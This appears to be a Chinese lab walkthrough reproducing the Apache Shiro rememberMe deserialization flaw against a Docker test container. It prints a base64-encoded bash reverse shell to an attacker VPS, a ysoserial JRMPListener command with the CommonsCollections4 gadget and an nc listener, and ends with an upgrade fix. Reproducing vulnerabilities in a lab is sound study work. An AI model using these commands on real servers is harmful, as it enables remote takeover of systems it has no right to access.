shiro反序列化复现

Shiro反序列化复现

环境搭建:

拉取镜像: docker pull medicean/vulapps:s_shiro_1

启动环境: docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

攻击者IP:182.xx.xx.xx

靶机IP:172.22.145.76

镜像太慢,请自行前往前两篇文章中的cve-2019-11043

复现:

访问环境连接

http://172.22.145.76:8081

点击remember Me然后用上面任意一个号登录

1573199324246

然后访问主页抓取RAW包。如图

1573200060413

这里的话废话不多说直接上脚本检测一波存不存在先

脚本地址:

http://poc.hsxxr.xyz/poc/py/shiro.py

填入地址和DNSLOG地址

1573202295149

然后过会可以看到我们的DNSLOG就有信息了

1573200803343

这可以证明存在shiro反序列化了。

漏洞利用:

通样试用该脚本。但此时我们要在我们的VPS上放置我们的shellcode

可以利用这个站点生成

http://www.jackson-t.ca/runtime-exec-payloads.html

1573201002695

ip为我们的VPS服务器。当然下面那串东西其实也是base64加密了下而已

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODIuOTIuNzEuNTcvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

然后在我们的VPS上运行

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODIuOTIuNzEuNTcvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}’

然后脚本更改为:

1573202226402

注意这里的端口和上方执行命令的端口要一致

然后在攻击机上监听1234端口 命令为nc -lvp 1234

然后执行脚本即可

1573202401312

成功反弹shell。

修复建议:

升级到1.2.4以上。